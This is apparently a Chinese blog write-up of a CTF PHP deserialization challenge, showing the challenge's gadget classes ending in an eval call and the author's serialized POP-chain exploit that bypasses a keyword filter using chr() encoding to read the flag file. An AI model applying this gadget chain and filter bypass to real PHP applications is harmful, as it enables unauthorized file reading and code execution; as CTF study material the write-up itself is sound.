香山杯反序列化题解

香山杯反序列化题解

太菜了还是web就出了一个,差点拿到血了呜呜呜还是没拿到

PHP_unserialize_pro

<?php
class Welcome
{
    public $name='A_G00d_H4ck3r';
    public $arg = 'welcome';

//    public function __construct()
//    {
//        $this->name = 'Wh0 4m I?';
//    }

​    public function __destruct()
​    {
​        if ($this->name == 'A_G00d_H4ck3r') {
​            echo "1".$this->arg='1';
​        }
​    }
}

class G00d{
    public $shell;
    public $cmd;
    public function __invoke(){
        $shell = $this->shell;
        $cmd = $this->cmd;
        if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
            die("U R A BAD GUY");
        }
        eval($shell($cmd));
    }
}

class H4ck3r
{
    public $func;

​    public function __toString()
​    {
​        $function = $this->func;
​        return $function();
​    }
}
$a=new Welcome();
$a->name=new H4ck3r();
$a->name->func=new G00d();
$a->name->func->shell='strtolower';
$a->name->func->cmd='show_source(chr(47).chr(102).chr(49).chr(97).chr(103));';
echo serialize($a);
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Q1ng_chuan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值